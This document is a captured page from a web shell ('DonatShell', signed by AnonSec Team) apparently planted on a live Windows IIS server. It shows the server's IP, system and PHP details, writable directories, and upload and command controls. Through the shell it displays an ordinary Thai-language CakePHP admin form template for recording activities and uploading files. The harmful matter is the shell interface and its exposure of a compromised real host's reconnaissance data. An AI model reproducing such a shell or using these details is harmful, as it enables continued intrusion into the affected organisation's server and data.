DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/app/View/Elements/Activities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/app/View/Elements/Activities/add_edit.ctp
<?php echo $this->Form->create('Activity', array( 'type' => 'file', 'class' => 'form-horizontal admin')); ?>
<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('ข้อมูลทั่วไป') ?></div>
    <div class="panel-body">
        <div class="form-group">
        <?php
            echo $this->Form->label('name',
                sprintf('%s <b class="form-required">*</b>', __('ชื่อกิจกรรม')),
                array('class' => 'col-md-4 control-label text-right'));
            echo $this->Form->input('name', array(
                    'label' => false,
                    'class' => 'form-control required',
                    'div' => 'col-md-6'
                ));
        ?>
        </div>

        <div class="form-group">
        <?php
            echo $this->Form->label('started',
                sprintf('%s <b class="form-required">*</b>', __('วันที่เริ่มกิจกรรม')),
                array('class' => 'col-md-4 control-label text-right'));
            echo $this->Form->input('started', array(
                'label' => false,
                'before' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
                'type' => 'text',
                'class' => 'form-control datepicker required',
                'div' => 'col-md-6 input-group',
                'dateFormat' => 'YMD'
            ));
        ?>
        </div>

        <div class="form-group">
        <?php
            echo $this->Form->label('ended',
                sprintf('%s <b class="form-required">*</b>', __('วันที่สิ้นสุดกิจกรรม')),
                array('class' => 'col-md-4 control-label text-right'));
            echo $this->Form->input('ended', array(
                'label' => false,
                'before' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
                'type' => 'text',
                'class' => 'form-control datepicker required',
                'div' => 'col-md-6 input-group'
            ));
        ?>
        </div>

        <div class="form-group">
        <?php
            echo $this->Form->label('address',
                sprintf('%s <b class="form-required">*</b>', __('สถานที่จัดกิจกรรม')),
                array('class' => 'col-md-4 control-label text-right'));
            echo $this->Form->input('address', array(
                    'label' => false,
                    'class' => 'form-control required',
                    'div' => 'col-md-6'
                ));
        ?>
        </div>

        <div class="district-filter">
            <div class="form-group">
                <?php
                    echo $this->Form->label('province_id',
                        sprintf('%s <b class="form-required">*</b>', __('จังหวัด')),
                        array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('province_id', array(
                            'options' => $provinces,
                            'label' => false,
                            'class' => 'form-control required selected-province',
                            'data-name' => 'districts',
                            'div' => 'col-md-6',
                            'empty' => __('เลือกจังหวัด')
                        ));
                ?>
            </div>
            <div class="form-group">
            <?php
                echo $this->Form->label('district_id',
                    sprintf('%s <b class="form-required">*</b>', __('อำเภอ')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('district_id', array(
                    'options'   => isset( $currentDistricts) ? $currentDistricts : array(),
                    'label'     => false,
                    'class'     => 'form-control required district-select',
                    'div'       => 'col-md-6',
                    'disabled' => !isset( $currentDistricts ),
                ));
            ?>
            </div>
        </div>

        <div class="form-group">
        <?php
            echo $this->Form->label('description',
                sprintf('%s <b class="form-required">*</b>', __('รายละเอียดกิจกรรม')),
                array('class' => 'col-md-4 control-label text-right'));
            // echo $this->Form->input('description', array(
            //         'label' => false,
            //         'class' => 'form-control required',
            //         'div' => 'col-md-6'
            //     ));
            echo $this->Form->input('description', array(
                    'label' => false,
                    'type' => 'textarea',
                    'class' => 'ckeditor form-control required',
                    'div' => 'col-md-8',
                    'maxlength' => 1000
                ));
        ?>
        </div>

        <div class="form-group">
        <?php
            echo $this->Form->label('expected',
                sprintf('%s <b class="form-required">*</b>', __('จำนวนสมาชิกที่คาดว่าจะมาร่วมงาน')),
                array('class' => 'col-md-4 control-label text-right'));
            echo $this->Form->input('expected', array(
                    'label' => false,
                    'class' => 'form-control required',
                    'div' => 'col-md-6',
                    'min' => 0,
                    'max' => 9999,
                    'pattern' => "\d*",
                ));
        ?>
        </div>
        <div class="form-group">
        <?php
            echo $this->Form->label('budget',
                sprintf('%s <b class="form-required">*</b>', __('งบประมาณที่ใช้ (บาท)')),
                array('class' => 'col-md-4 control-label text-right'));
            echo $this->Form->input('budget', array(
                    'label' => false,
                    'class' => 'form-control required',
                    'div' => 'col-md-6',
                    'min' => 0,
                    'max' => 4200000000, // ~4.2 billion - unsigned int has a limit of 4294967295
                    'pattern' => "\d*",
                ));
        ?>
        </div>
        <div class="form-group">
        <?php
            echo $this->Form->label('satisfaction',
                sprintf('%s <b class="form-required">*</b>', __('ความพึงพอใจ (%)')),
                array('class' => 'col-md-4 control-label text-right'));
            echo $this->Form->input('satisfaction', array(
                    'label' => false,
                    'class' => 'form-control required',
                    'div' => 'col-md-6',
                    'min' => 0,
                    'max' => 100,
                    'pattern' => "\d*",
                ));
        ?>
        </div>
    </div>
</div>
<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('เพิ่มประธานกิจกรรม') ?></div>
    <div class="panel-body">
        <div class="add-chief">
            <div class="form-group">
                <?php
                    echo $this->Form->label('chief-list', __('เลือกประธานกิจกรรม'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('chief-list', array(
                            'options' => $chiefsList,
                            'label' => false,
                            'class' => 'form-control',
                            'div' => 'col-md-4',
                        ));

                    echo $this->Html->link(__(' + '), '#', array( 'class' => 'btn btn-success add-network', 'data-name' => 'Chief' ));

                ?>
                <div class="col-md-offset-4 col-md-4">
                    <?php echo __('หรือ '); ?>
                    <?php  echo $this->Html->link(__('เพิ่มประธานกิจกรรมใหม่'),
                            array('controller' => 'chiefs', 'action' => 'add', 'admin' => true),
                            array()); ?>
                </div>
            </div>
            <div class="form-group">
            <?php
                echo $this->Form->label('Chief',
                    sprintf('%s', __('ประธานกิจกรรม')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Chief', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6 network-append',
                        'multiple' => 'checkbox'
                    ));
            ?>
            </div>
        </div>
    </div>
</div>

<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('เพิ่มสมาชิกเครือข่ายที่เข้าร่วมกิจกรรม') ?></div>
    <div class="panel-body">
        <div class="add-org">
            <div class="form-group">
                <?php
                    echo $this->Form->label('organization-list', __('เลือกเครือข่ายองค์กร'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('organization-list', array(
                            'options' => $organizationsList,
                            'label' => false,
                            'class' => 'form-control',
                            'div' => 'col-md-4',
                        ));

                    echo $this->Html->link(__(' + '), '#', array( 'class' => 'btn btn-success add-network', 'data-name' => 'Organization' ));
                ?>
                <div class="col-md-offset-4 col-md-4">
                    <?php echo __('หรือ '); ?>
                    <?php  echo $this->Html->link(__('เพิ่มเครือข่ายองค์กรใหม่'),
                            array('controller' => 'organizations', 'action' => 'add', 'admin' => true),
                            array()); ?>
                </div>
            </div>
            <div class="form-group">
            <?php
                echo $this->Form->label('Organization',
                    sprintf('%s', __('องค์กร')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Organization', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6 network-append',
                        'multiple' => 'checkbox'
                    ));
            ?>
            </div>
        </div>
        <div class="add-people">
            <div class="form-group">
                <?php
                    echo $this->Form->label('people-list', __('เลือกเครือข่ายภาคบุคคล'), array('class' => 'col-md-4 control-label text-right'));
                    echo $this->Form->input('people-list', array(
                            'options' => $peopleList,
                            'label' => false,
                            'class' => 'form-control',
                            'div' => 'col-md-4',
                        ));
                    echo $this->Html->link(__(' + '), '#', array( 'class' => 'btn btn-success add-network', 'data-name' => 'Person'));
                ?>
                <div class="col-md-offset-4 col-md-4">
                    <?php echo __('หรือ '); ?>
                    <?php  echo $this->Html->link(__('เพิ่มเครือข่ายยบุคคลใหม่'),
                            array('controller' => 'people', 'action' => 'add', 'admin' => true),
                            array()); ?>
                </div>
            </div>
            <div class="form-group">
            <?php
                echo $this->Form->label('Person',
                    sprintf('%s', __('เครือข่ายบุคคล')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Person', array(
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6 network-append',
                        'multiple' => 'checkbox'
                    ));
            ?>
            </div>
        </div>
    </div>
</div>

<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('เพิ่มประเภทสิทธิ') ?></div>
    <div class="panel-body">
        <div class="form-group">
            <?php
                echo $this->Form->label('Topic', __('ประเภทสิทธิหลัก'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Topic', array(
                        'label' => false,
                        'class' => 'form-control selected-province',
                        'div' => 'col-md-6',
                        'data-name' => 'subtopics',
                        'empty' => '- เลือกประเภทสิทธิหลัก -'
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('subtopiclist', __('ประเภทสิทธิย่อย'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('subtopiclist', array(
                        'options' => array(),
                        'label' => false,
                        'class' => 'form-control district-select',
                        'div' => 'col-md-4',
                        'disabled' => true
                    ));

                echo $this->Html->link(__(' + '),
                    '#',
                    array(
                        'class' => 'btn btn-success addArea',
                        'data-name' => 'subtopics',
                        'disabled' => true
                ));
            ?>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('Subtopic',
                    sprintf('%s', __('ประเภทสิทธิ')),
                    array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('Subtopic', array(
                        'label' => false,
                        'class' => 'form-control required',
                        'multiple' => 'checkbox',
                        'div' => 'col-md-6 area-list'
                    ));
            ?>
        </div>
    </div>
</div><!-- Topic and subtopic -->
<!-- /////////doc/////////// -->

<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('เพิ่มเอกสาร สำหรับกิจกรรม') ?></div>
    <div class="panel-body">
        <div class="form-group">
            <div class="col-md-8 col-md-offset-2">
                <p class="fileupload-warning">
                    สามารถเลือกเอกสารเพื่ออัพโหลดสำหรับกิจกรรม โดยสามารถเลือกไฟล์ที่มีนามสกุลดังต่อไปนี้เท่านั้น <strong> DOC, DOCX, XLS, XLSX,PDF </strong>.
                </p>
            </div>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('docs', __('เลือกเอกสาร'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('File.upload', array(
                        'id' => 'docsupload',
                        'type' => 'file',
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'multiple' => true
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php echo $this->Form->label('NewDocs', __('เอกสารที่ถูกเลือก'), array('class' => 'col-md-4 control-label text-right')); ?>
            <div class="col-md-6">
                <div id="progressDocs" class="progressDocs">
                    <div class="progress-bar-docs"></div>
                </div>
                <ol id="upload-docs" class="list-docs">
                </ol>
            </div>
        </div>
        <div class="form-group">
            <?php echo $this->Form->label('AttachedDocs', __('เอกสารที่มีอยู่แล้ว'), array('class' => 'col-md-4 control-label text-right')); ?>
            <ul id="existing-docs"  class="list-docs">
                <?php
                 $nPhotos = isset( $this->request->data['Photo'] ) ? count( $this->request->data['Photo'] ) : 0;
                ?>
                <?php for( $i = 0; $i < $nPhotos; $i++) { ?>
                    <li>
                        <?php
                        $photo = $this->request->data['Photo'][$i];
                        if( $photo['type'] == "docs"){ 
                             $audioPath2 =  'http://180.180.241.3/'.'img/' . $photos_url . '/' . $photo['name'];                          
                        ?>
                            <a href="<?php echo $audioPath2; ?>" download>
                              <i class="glyphicon glyphicon-download-alt"></i> <?php echo $photo['name'];?>
                            </a>
                          
                            <?php 
                                echo $this->Form->input( 'File.delete.' . $i, array(
                                    'type' => 'checkbox',
                                    'class' => '',
                                    'value' => $photo['id'],
                                    'hiddenField' => false,
                                    'label' => array( 'text' => 'delete' ),
                                    'div' => 'form-control',
                                    'legend' => false,
                                ));
                       
                        } ?>
                    </li>
                <?php } ?>
            </ul>
        </div>
    </div>
</div>

<!-- ////////////////////// -->
<div class="district-filter panel panel-default">
    <div class="panel-heading"><?php echo __('เพิ่มรูปภาพ/วิดีโอ สำหรับกิจกรรม') ?></div>
    <div class="panel-body">
        <div class="form-group">
            <div class="col-md-8 col-md-offset-2">
                <p class="fileupload-warning">
                    สามารถเลือกรูปภาพ หรือวิดีโอเพื่ออัพโหลดสำหรับกิจกรรม โดยสามารถเลือกไฟล์ที่มีนามสกุลดังต่อไปนี้เท่านั้น <strong> WMA, WAV, FLASH(.SWF), WMV, MP4, MP3, AVI, MPEG, PNG, JPG, GIF</strong>.
                </p>
            </div>
        </div>
        <div class="form-group">
            <?php
                echo $this->Form->label('photos', __('เลือกรูปภาพ หรือวิดีโอ'), array('class' => 'col-md-4 control-label text-right'));
                echo $this->Form->input('File.upload', array(
                        'id' => 'fileupload',
                        'type' => 'file',
                        'label' => false,
                        'class' => 'form-control',
                        'div' => 'col-md-6',
                        'multiple' => true
                    ));
            ?>
        </div>
        <div class="form-group">
            <?php echo $this->Form->label('NewPhotos', __('รูปภาพและวิดีโอที่ถูกเลือก'), array('class' => 'col-md-4 control-label text-right')); ?>
            <div class="col-md-6">
                <div id="progress" class="progress">
                    <div class="progress-bar"></div>
                </div>
                <ol id="upload-photos" class="list-photos">
                </ol>
            </div>
        </div>
        <div class="form-group">
            <?php echo $this->Form->label('AttachedPhotos', __('รูปภาพและวิดีโอที่มีอยู่แล้ว'), array('class' => 'col-md-4 control-label text-right')); ?>
            <ul id="existing-photos"  class="list-photos">
                <?php
                 $nPhotos = isset( $this->request->data['Photo'] ) ? count( $this->request->data['Photo'] ) : 0;
                ?>
                <?php for( $i = 0; $i < $nPhotos; $i++) { ?>
                    <li>
                        <?php
                        $photo = $this->request->data['Photo'][$i];
                        if( $photo['type'] != "docs"){
                            if ( preg_match('/\.mp4/', $photo['name'])
                                || preg_match('/\.mp3/', $photo['name'])
                                || preg_match('/\.ogv/', $photo['name'])
                                || preg_match('/\.vmv/', $photo['name'])
                                || preg_match('/\.avi/', $photo['name'])
                                || preg_match('/\.webm/', $photo['name']) ) {
                                $videoPath = '\/nhrc\/'.'\/img\/' . $photos_url . '/' . $photo['name']; ?>
                            <div id="video-<?php echo $photo['id']; ?>">
                            </div>
                            <script type="text/javascript">
                                jwplayer("video-<?php echo $photo['id']; ?>").setup({
                                    file: "<?php echo $videoPath; ?>",
                                    height: 180,
                                    image: "",
                                    width: 320
                                });
                            </script>
                            <?php } else if( preg_match('/\.wav/', $photo['name']) ) { 
                                 $audioPath =  'http://180.180.241.3/'.'img/' . $photos_url . '/' . $photo['name'];
                            ?>
                            <audio width="320" height="40" controls>
                              <source src="<?php echo $audioPath; ?>" type="audio/wav">
                            </audio> 

                           <?php } else if( preg_match('/\.wma/', $photo['name']) || preg_match('/\.swf/', $photo['name'])) {
                            $audioPath2 =  'http://180.180.241.3/'.'img/' . $photos_url . '/' . $photo['name'];
                            ?>
                            <a href="<?php echo $audioPath2; ?>" download>
                              <i class="glyphicon glyphicon-download-alt"></i> ดาวน์โหลด
                            </a>

                           <?php }else {
                                 echo $this->Html->image( $photos_url . '/' . $photo['name'], array( 'alt'   => $photo['name']) );
                            }
                            
                            ?>
                            <?php echo $this->Form->input( 'File.delete.' . $i, array(
                                        'type' => 'checkbox',
                                        'class' => '',
                                        'value' => $photo['id'],
                                        'hiddenField' => false,
                                        'label' => array( 'text' => 'delete' ),
                                        'div' => 'form-control',
                                        'legend' => false,
                                    ));
                           
                        } ?>
                    </li>
                <?php } ?>
            </ul>
        </div>
    </div>
</div>
<div class="form-group">
    <?php
        echo $this->Form->end(array(
                'label' => $submit_label,
                'class' => 'btn btn-success',
                'div' => 'col-md-offset-4 col-md-4'
        ));

    ?>
</div>
<script>
/*jslint unparam: true */
/*global window, $ */
$(function () {
    'use strict';
    var requestUrl = '<?php echo Router::url( array( 'controller' => 'activities', 'action' => 'add_photo',1, 'admin' => true ), true ); ?>';
    $('#fileupload').fileupload({
        url: requestUrl,
        dataType: 'json',
        // mask the submit button when uploading files
        add: function (e, data) {
            $( '#sbm_activity' ).hide();
            data.submit();
        },
        // show the button after files have been sent (success or failure)
        always: function (e, data) {
            $( '#sbm_activity' ).show();
        },
        // display the overall progress
        progressall: function (e, data) {          
            var progress = parseInt(data.loaded / data.total * 100, 10);            
            $('#progress .progress-bar').css(
                'width',
                progress + '%'
            );            
        },
        // a file has been uploaded, add it to the list of uploaded photos
        done: function (e, data) {
            var result = data.result;
            var $li;

            if( result.error === 1 ) {
                alert( result.data );
                return;
            }

            var nLi = $( '#upload-photos > li' ).length;

            $li = $( '<li/>' );
            $li.append( '<p>' + result.data + '</p>' );
            $li.append( '<input type="hidden" name="upload_photos[' + nLi + ']" value="' + result.data + '" />' );

            $( '#upload-photos' ).append( $li );
        }
    }).prop('disabled', !$.support.fileInput)
    

    var requestUrlDocs = '<?php echo Router::url( array( 'controller' => 'activities', 'action' => 'add_photo',2, 'admin' => true ), true ); ?>';
    $('#docsupload').fileupload({
        url: requestUrlDocs,
        dataType: 'json',
        // mask the submit button when uploading files
        add: function (e, data) {
            $( '#sbm_activity' ).hide();
            data.submit();
        },
        // show the button after files have been sent (success or failure)
        always: function (e, data) {
            $( '#sbm_activity' ).show();
        },
        // display the overall progress
        progressall: function (e, data) {              
            var progressDocs = parseInt(data.loaded / data.total * 100, 10);           
            $('#progressDocs .progress-bar-docs').css(
                'width',
                progressDocs + '%'
            );
        },
        // a file has been uploaded, add it to the list of uploaded photos
        done: function (e, data) {
            var result = data.result;
            var $li;

            if( result.error === 1 ) {
                alert( result.data );
                return;
            }

            var nLi = $( '#upload-docs > li' ).length;

            $li = $( '<li/>' );
            $li.append( '<p>' + result.data + '</p>' );
            $li.append( '<input type="hidden" name="upload_docs[' + nLi + ']" value="' + result.data + '" />' );

            $( '#upload-docs' ).append( $li );
        }
    }).prop('disabled', !$.support.fileInput)

    .parent().addClass($.support.fileInput ? undefined : 'disabled');
});
</script>

<?php echo $this->Html->css( array( 'jquery.fileupload-ui.css' ) ); ?>
<?php echo $this->Html->script( array(
        // The jQuery UI widget factory, can be omitted if jQuery UI is already included
        'jquery.ui.widget.js',
        // <!-- The Iframe Transport is required for browsers without support for XHR file uploads
        'jquery.iframe-transport.js',
        // The basic File Upload plugin
        'jquery.fileupload.js',
        'ckeditor/ckeditor.js' ) ); ?>

Anon7 - 2022
AnonSec Team